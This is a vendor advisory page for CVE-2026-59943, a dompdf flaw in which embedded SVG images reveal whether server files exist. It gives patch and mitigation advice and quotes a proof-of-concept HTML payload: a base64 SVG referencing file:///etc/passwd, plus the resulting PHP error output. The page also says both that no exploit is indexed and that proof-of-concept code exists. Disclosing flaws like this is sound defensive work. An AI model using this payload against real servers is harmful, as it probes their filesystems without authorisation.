What is CVE-2026-59943?

### Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. ### Details Using an ` ` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesy

How severe is CVE-2026-59943?

No CVSS score has been assigned to CVE-2026-59943 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-59943?

CVE-2026-59943 affects the following packages: dompdf/dompdf (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-59943?

Update dompdf/dompdf to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59943 is resolved across your whole dependency graph.

How do I detect CVE-2026-59943 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompdf/dompdf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-59943 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is CVE-2026-59943 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-59943 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-59943?

CVE-2026-59943 has an EPSS (Exploit Prediction Scoring System) score of 0.4%, placing it in the 36th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-59943?

CVE-2026-59943 is classified as CWE-209 (CWE-209). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2026-59943 published, and has it been updated?

CVE-2026-59943 was published on July 28, 2026 and was last updated on October 21, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-59943 — dompdf

Fix: dompdf/dompdf@6a58996

CVE-2026-59943 is a CWE-209 vulnerability in dompdf/dompdf. A fix is available for dompdf/dompdf — see the affected versions and patch details below.

Dompdf: Embedded SVG images can leak existence of files and directories within the filesystem

Also known asGHSA-j8qw-6jw8-r297

Published

Jul 28, 2026

Updated

Oct 21, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59943.

EPSS Exploitation Probability

via FIRST.org ↗

0.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

🐘dompdf/dompdf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document.

Details

Using an <image> element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the href or xlink:href attributes. When processing a file that does not exist (e.g. file:///DOESNOTEXIST), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem.

[Wed May 20 19:49:53 2026] PHP Warning:  file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173
[Wed May 20 19:49:53 2026] PHP Notice:  getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196

PoC

First, the attacker renders this HTML document:

<html>
<head>
</head>
<body>
<img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo=">
 Hello World!
</body>
</html>

The <img> tag contains the following SVG content:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
    <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100">
    </svg>

As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" />

However, when supplying a path to a file or directory that does not exist, for example:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
    <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100">
    </svg>

The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position:

Impact

By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`dompdf/dompdf`	all versions	3.1.6`composer require dompdf/dompdf:^3.1.6`

Affected Products

1 product · 1 configurations

Application

dompdfdompdf_project

< 3.1.6

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompdf/dompdf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dompdf/dompdf to 3.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59943 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. ### Details Using an `<image>` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesy

O3 Security · Impact-Aware SCA

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